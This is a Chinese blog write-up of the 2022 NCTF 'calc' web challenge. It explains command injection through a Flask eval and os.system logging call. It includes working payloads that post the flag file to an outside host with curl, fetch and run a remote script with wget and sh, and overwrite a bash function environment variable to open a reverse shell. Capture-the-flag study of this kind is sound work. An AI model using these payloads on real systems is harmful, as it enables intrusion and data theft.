2022NCTF
是真的菜
开始复现把
calc
访问之后获得源码
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
可以看到 它定义了一个 clac路由 然后get的方式接受了一个num的参数
然后经过了 waf 最终 执行os.system (log)
这里我们可以传入 %27%27%27111%0als%09/%0a%27%27%27
返回
我们输入%27%27%27%27%27%27
的目的是 不上上面的eval 报错
在py里面 三个引号表示一个字符串 所以 在 eval(num)这里不会报错的 (不过我不知道为什么我在我本地试是会报错的)
但是在远程是可以继续往下去执行的 要不然也不会去返回结果
return 实在 eval后面的所以 意思就是题目环境是没有什么问题的
然后 漏洞的真正的利用点是 os.system(log)
看看 log是怎么来的
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S" ,time.localtime()) ,ip ,num)
我们可控的点 就是 这个 nun
然后 会执行 os.system
这个函数 就是 直接可以执行系统命令 然后 由于上面 是 echo 然后我们可以随便 在 num这里写上 换行符 url编码之后就是 %0a 这样 前面所有拼接的 就被当成第一行 系统命令去执行了 然后 经过换行之后 执行第二行的系统命令 因为这里是 echo 命令 所以后面只添加一些字符串的 话是不会报错的 可以继续往下去执行 然后 由于空格被 过滤了 我们可以使用 tab
键来代替空格 url编码是%09 然后 在 完成我们想要执行的额命令之后 后面 只需要拼接上 %0a 就可以继续换行执行下一行命令了
然后 具体执行什么命令呢
可以post发包
curl http://xxxxx:2333 -d @/Th1s_is__F1114g
%27%27%271%27%0awget%09-O%09./tmp/test5.txt%09http://xxxxxx/test11.txt%09%0a%273%27%27%27
%27%27%271%27%0Ash%09./tmp/test5.txt%0A%272%27%27%27
刚刚这个是非预期
后来github上发了源码 然后就出现了官方wp
如何修复非预期的呢 就是官方wp是通过变量覆盖 环境变量的
怎么覆盖 环境变量呢 由于过滤了 =
在python 中 可以用for 循环来覆盖变量
有因为过滤了空格 就可以用%09或者 这里利用python的特性 可以直接用[]
来绕过空格
os.environ['BASH_FUNC_echo%%']='() { id; }'
覆盖这个环境变量就可以执行命令了 id就是我们想要执行的命令了
exp
[[str][0]for[%EF%BD%8Fs.environ[%27\x0\x42\x0\x41\x0\x53\x0\x48\x0\x5f\x0\x46\x0\x55\x0\x4e\x0\x43\x0\x5f\x0\x65\x0\x63\x0\x68\x0\x6f\x0\x25\x0\x25\x0\x7\x0\x0\x0\x27\x0\x28\x0\x29\x0\x20\x0\x7b\x0\x20\x0\x62\x0\x61\x0\x73\x0\x68\x0\x20\x0\x2d\x0\x69\x0\x20\x0\x3e\x0\x26\x0\x20\x0\x2f\x0\x64\x0\x65\x0\x76\x0\x2f\x0\x74\x0\x63\x0\x70\x0\x2f\x0\x78\x78\x78\x78\x78\x2f\x0\x32\x0\x33\x0\x33\x0\x33\x0\x20\x0\x30\x0\x3e\x0\x26\x0\x31\x0\x3b\x0\x20\x0\x7d%27]]]
2022NCTF的更多相关文章
随机推荐
- 学习Java Day30
今天回顾了一下整章对象与类,对自己进行了查漏补缺,依旧存在许多知识点的掌握不充分,类的使用的不熟练,同志仍需努力,革命尚未成功.
- Symbol详解
Symbol Symbol是es6引入的一个新的原始数据类型,是一个独一无二的值. 目前为止,js的数据类型有以下几种: 数据类型 说明 undefined undefined null null b ...
- 推荐一个分布式单点登录框架XXL-SSO!
有关单点登录(SSO)之前有写过两篇文章 一文读懂 JWT! 看完这篇不能再说不懂SSO原理了! 如果说XXL-JOB你可能并不陌生,它是非常火爆的一个分布式任务调度平台.但其实在该作者还有一个非常优 ...
- Cesium计算多边形面积(十一)
//计算三角形面积 function triangleArea(p0, p1, p2) { let v0 = Cesium.Cartesian3.subtract(p0, p1, new Cesium ...
- CF863E - Turn Off The TV
题意:对于若干个闭区间 \([l_i,r_i]\),它们构成了一个集合 \(\bigcup_{i\le n}{[l_i,r_i]}\),求一个 \(k\),使得 \(\bigcup_{i\le n}{ ...
- TextBox 事件
1.键盘事件 界面代码: <Grid> <Grid.RowDefinitions> <RowDefinition Height="auto">& ...
- Mybatis-Plus 之BaseMapper 方法详解
package com.itheima.dao; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomido ...
- Day 24 24.1:逆向分析1 - Steam案例
STEAM逆向分析 url:https://store.steampowered.com/login/?redir=&redir_ssl=1 分析思路: 输入用户名和密码后,点击登录按钮,通过 ...
- 关于fetch请求中非表单模式(form)转化为form格式请求成功问题
首先证实一下接口请求可以成功,postman掉通 2.证实接口可以掉通之后,来发现问题 发现根本不是form表单格式3.去操作实现form表单格式 发现form格式貌似已经转换,但是请求还是不对 最后 ...
- Note Taking App Comparison: Notesnook vs Joplin
I have used many note-taking apps, including Notion, oneNotes, Obsidian, Sublime Text, etc. Here I w ...